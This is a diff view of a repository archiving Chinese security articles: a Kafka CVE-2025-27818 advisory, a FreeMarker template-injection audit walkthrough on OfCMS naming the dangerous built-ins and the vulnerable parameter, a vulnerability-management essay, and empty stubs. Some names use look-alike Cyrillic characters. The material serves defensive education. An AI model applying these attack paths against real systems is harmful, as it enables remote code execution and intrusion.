|
||||
https://kafka.apache.org/downloads
|
||||
|
||||
建议用户尽快升级到以下或更高的安全版本:
|
||||
|
||||
Aрасhе Kаfkа 3.9.1
|
||||
|
||||
Aрасhе Kаfkа 4.0.0
|
||||
|
||||
参考链接:
|
||||
|
||||
https://www.openwall.com/lists/oss-security/2025/06/09/1
|
||||
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
# 【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818
|
||||
cexlife 飓风网络安全 2025-06-10 07:52
|
||||
|
||||
|
||||
|
||||
漏洞描述:
|
||||
|
||||
该漏洞产生的原因是Aрасhе Kаfkа在处理Kаfkа Cоnnесt的SASL JAAS配置时,允许通过ѕаѕl.јааѕ.соnfiɡ属性配置соm.ѕun.ѕесuritу.аuth.mоdulе.LdарLоɡinMоdulе.受影响版本为2.3.0至3.9.0,攻击者可以通过KаfkаCоnnесt的RESTAPI或其他配置方式,将Kаfkа客户端的ѕаѕl.јааѕ.соnfiɡ属性设置为LdарLоɡinMоdulе,并指向攻击者控制的LDAP服务器,当Kаfkа Cоnnесt服务器连接到该LDAP服务器并反序列化LDAP响应时,攻击者可以利用Jаvа反序列化漏洞链执行任意代码。
|
||||
|
||||
攻击场景:
|
||||
|
||||
攻击者可以通过Kafka Connect的REST API或其他配置方式,将Kafka客户端的sasl.jaas.config属性设置为LdapLoginModule并指向攻击者控制的LDAP服务器。
|
||||
|
||||
影响产品:
|
||||
|
||||
2.3.0<=Apache Kafka<=3.9.0
|
||||
|
||||
修复建议:
|
||||
|
||||
补丁名称:
|
||||
|
||||
Aрасhе Kаfkа远程代码执行漏洞的补丁-更新至最新版本4.0.0
|
||||
|
||||
文件链接:
|
||||
|
||||
https://kafka.apache.org/downloads
|
||||
|
||||
建议用户尽快升级到以下或更高的安全版本:
|
||||
|
||||
Aрасhе Kаfkа 3.9.1
|
||||
|
||||
Aрасhе Kаfkа 4.0.0
|
||||
|
||||
下载链接:
|
||||
|
||||
https://kafka.apache.org/downloads
|
||||
|
||||
缓解措施:
|
||||
|
||||
更新系统补丁,限制Kafka Connect的REST API访问权限,强化输入验证和身份验证机制。
|
||||
|
||||
参考链接:
|
||||
|
||||
https://seclists.org/oss-sec/2025/q2/236
|
||||
|
||||
|
||||
@@ -0,0 +1,312 @@
|
||||
# 实战讲解 Java代码审计之 FreeMarker模版注入漏洞
|
||||
闪石星曜CyberSecurity 2025-06-10 08:38
|
||||
|
||||
|
||||
|
||||
本篇为代码审计系列SSTI服务器端模板注入漏洞理论篇-FreeMarker第八篇，看完本篇你将掌握关于FreeMarker模版注入漏洞的代码视角原理剖析、基础挖掘漏洞核心能力，看完如有技术错误欢迎评论区指正。
|
||||
|
||||
文章引用了FreeMarker官方介绍：http://freemarker.foofun.cn/index.html
|
||||
- FreeMarker概念
|
||||
|
||||
- FreeMarker引擎
|
||||
|
||||
- FreeMarker模版
|
||||
|
||||
- 业务视角FreeMarker流程
|
||||
|
||||
- 漏洞视角FreeMarker漏洞原理及防范
|
||||
|
||||
- OFCMS 实战审计案例
|
||||
|
||||
|
||||
|
||||
**FreeMarker模版注入漏洞**
|
||||
|
||||
一
|
||||
|
||||
FreeMarker
|
||||
|
||||
FreeMarker由引擎+模版构成完整的业务流程，FreeMarker引擎加载Template+Javaobjects，Template模版为HTML模版。如下图所示：
|
||||
|
||||
|
||||
|
||||
|
||||
1.1FreeMarker引擎
|
||||
|
||||
FreeMarker 是一款模板引擎:引擎用于加载FreeMarker模版与模版中的数据通过将模板文件与数据模型结合，生成最终的输出HTML内容。
|
||||
|
||||
|
||||
1.2FreeMarker模版
|
||||
|
||||
模板编写为FreeMarker Template Language (FTL)。后端业务代码准备数据在填充在已经固定的HTML模版中，比如数据库查询和业务运算，之后模板显示数据库查询的结果或运算的结果数据。模版中包含如下内容：
|
||||
|
||||
文本：文本会照着原样来输出。
|
||||
|
||||
插值：这部分的输出会被计算的值来替换。插值由${and}所分隔的(或者#{and}
|
||||
|
||||
FTL标签：FTL标签和HTML标签很相似，但是它们却是给FreeMarker的指示， 而且不会打印在输出内容中。
|
||||
|
||||
注释：注释和HTML的注释也很相似，但它们是由<#--和-->来分隔的。注释会被FreeMarker直接忽略， 更不会在输出内容中显示。
|
||||
|
||||
|
||||
|
||||
二
|
||||
|
||||
业务视角FreeMarker场景与流程
|
||||
|
||||
FreeMarker使用场景如下
|
||||
- Web 开发
|
||||
：与 Spring MVC、Struts 等框架集成，生成动态 HTML 页面
|
||||
|
||||
- 电子邮件模板
|
||||
：生成动态邮件内容
|
||||
|
||||
- 配置文件生成
|
||||
：根据环境或需求生成配置文件
|
||||
|
||||
- 代码生成工具
|
||||
：在开发工具中生成代码文件
|
||||
|
||||
|
||||
|
||||
|
||||
2.1FreeMarker使用流程
|
||||
|
||||
- 引入FreeMarker模版
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- 引入FreeMarker配置
|
||||
:在SpringBoot中配置FreeMarkersrc/main/resources/application.properties
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- 引入FreeMarker配置
|
||||
:如为Spring MVC使用中applicationContext.xml编写即可
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- 引入FreeMarker配置
|
||||
：如为其他Web框架初始化模版配置,创建Configuration实例进行配置
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- FreeMarker模版文件
|
||||
：编写模版.ftl文件：(不一定非得是.ftl也可能是.html)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
编写业务层代码：
|
||||
- 创建数据模型
|
||||
：可以使用 java.lang 和 java.util 包中的类，还有用户自定义的Java Bean来构建数据对象
|
||||
|
||||
- 获取模版:
|
||||
freemarker.template.Template实例。典型的做法是从 Configuration 实例中获取一个Template 实例
|
||||
|
||||
- 合并模版和数据模型
|
||||
：数据模型+模板=输出
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
三
|
||||
|
||||
漏洞视角Freemarker模版原理及防范
|
||||
|
||||
3.1漏洞原理
|
||||
|
||||
Freemarker模版注入漏洞属于SSTI类漏洞，对于模板注入漏洞成因是在模板引擎渲染模板
|
||||
|
||||
文件时，由于模板文件中存在内建危险函数且可执行，模版引擎进行解析后造成的攻击
|
||||
|
||||
|
||||
|
||||
3.2漏洞触发场景
|
||||
|
||||
触发Freemarker的漏洞的场景大致为：
|
||||
- 文件上传
|
||||
：用户的使用上传包含危险内建函数的FreeMarker模版，并且可访问渲染后的文件
|
||||
|
||||
- 文件编辑
|
||||
：用户可以修改为包含内建函数的模版文件，访问该模版后造成的攻击
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3.3漏洞触发条件
|
||||
|
||||
3.3.1上传or修改.ftl模版文件
|
||||
|
||||
添加模版、更新模版内容等功能可进行修改,其中FreeMarker已经内置的方法StringTemplateLoader下的putTemplate()方法
|
||||
|
||||
|
||||
|
||||
以下图片来源为FreeMarker官方文档(http://freemarker.foofun.cn/ref_builtins_expert.html#ref_builtin_new)
|
||||
|
||||
api函数
|
||||
|
||||
|
||||
|
||||
new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量
|
||||
|
||||
|
||||
|
||||
freemarker.template.utility包中存在三个符合条件的类，分别为Execute类、ObjectConstructor类、JythonRuntime类最终实现了TemplateModel类。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3.3.2Freemarker模版漏洞定位关键词
|
||||
|
||||
freemarker、<#assign>、<#include>、<#if>、<#list>、<#macro>
|
||||
|
||||
四
|
||||
|
||||
OfCms实战审计案例
|
||||
|
||||
此篇OfCms为分析FreeMarker漏洞进行白盒与黑盒结合方式审计，通常模版文件上传、编辑等功能可能会存在模版注入漏洞。部署后从系统功能视角到源代码定位及抓包调试进行讲解。
|
||||
|
||||
抓包使用内建函数测试即
|
||||
|
||||
白盒审计流程
|
||||
：
|
||||
- 项目组件分析
|
||||
：Pom.xml引入模版引擎依赖
|
||||
|
||||
- 框架分析
|
||||
：Spring、Spring Boot、其他框架渲染模版引擎配置对应关键词定位
|
||||
|
||||
- 渲染模版
|
||||
：定位渲染文件是否可控
|
||||
|
||||
- Poc测试
|
||||
：抓包使用内建函数测试即可
|
||||
|
||||
黑盒审计流程
|
||||
：
|
||||
- 上传/编辑功能
|
||||
：是否可编辑前端模版文件
|
||||
|
||||
- 接口定位源代码
|
||||
：查看模版文件是否存在过滤或转义等处理
|
||||
|
||||
- Poc测试
|
||||
：定位渲染文件是否可控
|
||||
|
||||
|
||||
|
||||
4.1OfCms漏洞项目部署
|
||||
|
||||
Gitee:https://gitee.com/oufu/ofcms/repository/archive/V1.1.2.zip
|
||||
|
||||
|
||||
|
||||
直接打开Pom.xml引入依赖即可，查看Web框架使用的jfinal而非Spring或SpringBoot
|
||||
|
||||
|
||||
|
||||
FreeMarker显示2.3.21版本
|
||||
|
||||
|
||||
|
||||
导入数据库文件，并修改数据库账号密码，成功启动项目
|
||||
|
||||
|
||||
|
||||
4.2白盒源代码漏洞分析
|
||||
|
||||
jfinal白盒定位关键词
|
||||
|
||||
|
||||
|
||||
- TempleteUtile.java中用来初始化模版引擎，查看源代码后发现该process方法会进行模版引擎渲染
|
||||
|
||||
process(String templatefile, Map<?, ?> param) 方法使用模板文件名和参数 map 生成字符串输出。处理模板后，去除 HTML/XML 中标签之间的空白字符。
|
||||
|
||||
process(String templatefile, Map<String, Object> param, File file) 方法
|
||||
|
||||
将模板处理结果写入指定的文件中，使用 UTF-8 编码保存
|
||||
|
||||
|
||||
|
||||
templatefile注释来看为传入的模版文件并直接渲染，查看是否模版文件可控
|
||||
|
||||
|
||||
|
||||
向上查找参数均发现不可控，转换思路进行黑盒挖掘尝试
|
||||
|
||||
|
||||
|
||||
4.3黑盒项目功能触发漏洞分析
|
||||
|
||||
往往很多漏洞黑盒要比白盒方便很多，因为功能非常明显找到模版文件保存功能
|
||||
|
||||
|
||||
|
||||
抓包定位接口
|
||||
|
||||
|
||||
|
||||
功能定位分析：发现只有一个特殊符号转义但对保存为恶意模版文件并没起到作用
|
||||
|
||||
|
||||
|
||||
确定模版文件参数：file_content_
|
||||
|
||||
|
||||
|
||||
Payload插入，修改为恶意模版文件
|
||||
|
||||
|
||||
|
||||
保存模版文件中，毫无过滤
|
||||
|
||||
|
||||
|
||||
访问404页面，执行成功
|
||||
|
||||
|
||||
|
||||
分析如何404模版文件解析流程
|
||||
|
||||
|
||||
|
||||
向上追踪定位到FreeMarkerRender类：
|
||||
|
||||
`FreeMarkerRender是一个基于 JFinal 框架的 FreeMarker 模板渲染器，主要功能如下：
|
||||
|
||||
封装 FreeMarker 配置：通过静态变量 config初始化 FreeMarker 的配置；
|
||||
|
||||
提供配置方法:setProperty()、setSharedVariable()、setProperties()用于设置模板参数和共享变量；
|
||||
|
||||
模板路径设置:setTemplateLoadingPath()` 设置模板加载路径；
|
||||
|
||||
初始化配置:init()方法完成模板引擎的各项基础设置（编码、异常处理、日期格式等）；
|
||||
|
||||
渲染视图:render() 方法将数据模型与模板合并输出 HTML 到响应；
|
||||
|
||||
内容类型控制:getContentType()返回默认文本类型为 HTML + 编码。
|
||||
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
# 漏洞挖掘实战之弯道超车
|
||||
蚁景网安 2025-06-10 08:30
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,184 @@
|
||||
# 漏洞管理玩法已变，四大常见错误亟待摒弃
|
||||
安全牛 2025-06-10 10:04
|
||||
|
||||
N
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞管理已经彻底转型，它不再是简单地完成清单上的任务，而是构建一个融合实时可见性、智能风险排序和前瞻性自动化的完整防御体系。
|
||||
|
||||
可以说，今天的漏洞管理与五年前相比已经发生了质的变化。如果你仍然固守于定期扫描模式，仅仅"建议"而非强制实施更新，或过度依赖CVSS分数作为唯一决策依据，那么，你实际上是在采用过时的战术应对现代的威胁。
|
||||
|
||||
在当今高度动态、去中心化且不断变化的IT环境中，攻击者正以与防御同步的速度进化。作为系统管理员或安全专家，继续依赖传统方法不仅意味着技术落后，更是在无意中为潜在入侵者敞开了大门。
|
||||
|
||||
本文整理了管理员在漏洞管理方面仍在犯的四个常见错误，以及相应的应对措施：
|
||||
|
||||
|
||||
**按计划运行扫描**
|
||||
|
||||
|
||||
|
||||
**为什么？**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
每月、每周甚至每日的漏洞扫描曾被视为充分的安全措施。而在当今的动态环境中？这种方法不可避免地会产生危险的安全盲区。
|
||||
|
||||
现代IT生态系统中的云资源、远程工作端点和虚拟机可能在几分钟内就完成从创建、使用到销毁的整个生命周期。这种瞬息万变的资产状态使得传统的计划性扫描模式显得力不从心——它们只能捕捉到固定时间点的安全状态，而错过了两次扫描之间出现并消失的所有潜在威胁。这不仅是效率问题，更是一个根本性的安全缺陷。
|
||||
|
||||
**解决办法**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**拥抱持续安全监控的新范式**
|
||||
|
||||
应立即转向全面的持续扫描策略，彻底革新漏洞管理方法。部署能够与资产管理系统深度集成的先进工具，形成真正的实时监控能力，确保安全覆盖无死角。
|
||||
|
||||
这种现代化方案不仅限于传统数据中心服务器，而是扩展到整个技术生态系统——从云端虚拟机、员工笔记本电脑到分散的本地设备和远程工作终端。通过建立永不间断的安全可见性机制，实时掌握环境中的每一处变化，而不是仅依赖于静态的时间点快照。
|
||||
|
||||
这种转变不仅是技术升级，更是安全思维的根本转变——从被动响应到主动防御，从周期性检查到持续保护，为组织构建真正弹性的安全防线。
|
||||
|
||||
|
||||
**把每个"严重"CVE都当作紧急事件处理**
|
||||
|
||||
|
||||
|
||||
**为什么？**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
CVS评分并不是全部。内部开发服务器上的"严重"CVE可能比面向公众的端点上的中等严重性漏洞风险更低。并非每个漏洞都需要立即修补，但有些确实需要，除非有缓解措施或有充分记录/签署的理由不这样做，否则所有漏洞最终都应该被修补。
|
||||
|
||||
CVS评分仅是漏洞风险拼图中的一块，而非完整图景。真实的威胁评估需要深入考量具体的部署环境和业务影响。例如，一个标记为"严重"的CVE漏洞若存在于隔离的内部开发服务器上，实际风险可能远低于一个中等严重性但位于面向公众的关键业务端点上的漏洞。
|
||||
|
||||
|
||||
**解决办法**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**实施基于风险的漏洞管理(RBVM)**
|
||||
|
||||
将基于风险的漏洞管理(RBVM)作为安全策略的基石，彻底改变您的防御方法。投资那些能够整合多维风险因素的先进平台：不仅评估漏洞的技术可利用性，还综合考量受影响资产的业务价值、潜在业务中断影响，以及当前活跃的威胁情报数据。
|
||||
|
||||
通过这种全面的风险评估框架，精确识别真正需要紧急响应的高风险漏洞，优先分配资源解决这些关键威胁，同时为其余漏洞制定合理的修复时间表。这种分层方法既确保了对最紧迫威胁的快速响应，又避免了资源的过度分散。
|
||||
|
||||
建立结构化的决策框架至关重要。它不仅提供清晰的优先级指导，还能确保在处理高优先级问题时不会忽视其他潜在风险。这种系统化方法将使安全团队从被动的"补丁追赶者"转变为战略性风险管理者，为组织提供更加高效且全面的保护。
|
||||
|
||||
|
||||
**3. 仍在尚未实施自动化**
|
||||
|
||||
|
||||
|
||||
**为什么？**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
对于任何团队来说，手动处理的数据太多了，尤其是在混合工作环境、BYOD和数十种生成警报的工具的情况下。手动分类工单或追踪补丁周期会很快让你的团队精疲力竭。倦怠和警报疲劳是真实存在的，也是安全实践松懈和员工流失的主要原因。攻击者非常清楚这一点，并利用安全团队压力大可能会犯错的这一点来发起攻击。
|
||||
|
||||
**解决办法**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
战略性实施自动化
|
||||
|
||||
要将自动化作为核心战略而非可选工具，系统性地应用于整个安全运营流程——从漏洞扫描、警报分类、风险评估到补丁部署计划。通过精心设计的自动化流程过滤掉背景噪音，使安全专家能够将宝贵的认知资源集中在真正需要人类判断的复杂风险上。
|
||||
|
||||
在实施自动化时，务必确保所有系统保持透明度和可审计性。避免不可解释的"黑盒"解决方案，而应选择能够提供清晰决策路径和可验证结果的工具。值得一提的是，自动化的目标是增强人类能力，而非替代人类判断——它应该成为加速安全运营的助力器，而不是引入新风险的潜在来源。
|
||||
|
||||
|
||||
**4. 忽视软件供应链**
|
||||
|
||||
|
||||
|
||||
**为什么？**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
一些大的网络攻击(SolarWinds、Log4Shell、MOVEit)并非通过传统基础设施发生。它们是通过管理员甚至都不知道正在使用的第三方代码和软件组件进入的。
|
||||
|
||||
近年来一些极具破坏性的网络攻击揭示了一个关键安全盲区：软件供应链。SolarWinds、Log4Shell和MOVEit等重大事件并非通过传统的网络入侵途径发生，而是巧妙地利用了深埋在组织信任的第三方软件中的漏洞。这些攻击的特别危险之处在于，它们利用了组织环境中"隐形"的组件——那些IT管理员甚至不知道存在于其系统中的依赖项、库和框架。
|
||||
|
||||
当安全团队无法看到完整的软件构成时，就无法保护它。这种"未知的未知因素"为攻击者提供了理想的隐蔽入口，使他们能够绕过传统的安全控制，直接通过受信任的渠道进入企业环境。
|
||||
|
||||
|
||||
**解决办法**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
建立主动的软件供应链安全策略
|
||||
|
||||
从要求所有供应商提供详细的软件物料清单(SBOMs)开始。这些数字"配方表"应详细列出产品中使用的每个组件、库和依赖项，从而提供完整的可见性。
|
||||
|
||||
实施自动化扫描机制，持续检查所有第三方组件，包括那些嵌入在商业应用程序中的组件。建立依赖关系图谱，追踪您环境中使用的所有软件组件之间的复杂关系网络。
|
||||
|
||||
部署自动化监控系统，在发现任何第三方组件存在新漏洞时立即发出警报，旨在快速响应，即使是在供应商正式发布补丁之前。
|
||||
|
||||
记住这个基本原则：供应商的安全问题不应该成为组织的安全危机。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**建立从被动防御到主动安全态势**
|
||||
|
||||
|
||||
现代漏洞管理已经超越了简单的"发现-修复"模式，演变为一门复杂的战略学科。它不再仅仅关注漏洞识别，而是构建了一个完整的安全生态系统，融合了精准的风险评估、快速的威胁检测、高效的修复流程，以及跨越整个数字领域的全方位可见性——从核心数据中心到边缘分支机构，从办公室工作站到远程员工设备。
|
||||
|
||||
综上所述，卓越的漏洞管理建立在三大核心支柱之上：
|
||||
1. 战略性安全政策：明确定义的风险容忍度、响应流程和责任分配，为所有安全活动提供清晰指导
|
||||
|
||||
1. 精确的系统情报：对环境中每个资产的深入了解，包括其价值、配置和互连性
|
||||
|
||||
1. 智能自动化：将这些洞察转化为自动化工作流，实现从检测到修复的无缝过渡
|
||||
|
||||
这种整合方法使组织能够充分发挥现代自动化工具和补丁管理解决方案的潜力，将理论上的安全转化为实际的防护能力。
|
||||
|
||||
网络安全领域的进化速度前所未有。那些能够适应这一新现实、采用现代漏洞管理实践的安全专业人员将始终领先于威胁行为者。而那些固守传统方法的组织？他们实际上正在无意中成为攻击者的盟友。
|
||||
|
||||
相关阅读
|
||||
|
||||
[2025年值得关注的十大漏洞管理工具](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651134752&idx=2&sn=a71898ac89bc6a622d04a05f120c6232&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[为何1/3企业安全事件源头没法追溯，审视网络安全管理的6大漏洞](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651133346&idx=1&sn=556b9a1064dfd11eb639b71bf3c7c736&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[简析漏洞生命周期管理的价值与关键要求](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651131155&idx=1&sn=178de8f3379272d49120415bf9becaf0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
合作电话：18311333376
|
||||
|
||||
合作微信：aqniu001
|
||||
|
||||
投稿邮箱：editor@aqniu.com
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
# 玩转网络漏洞挖掘，实战能力弯道超车
|
||||
蚁景网络安全 2025-06-10 09:35
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user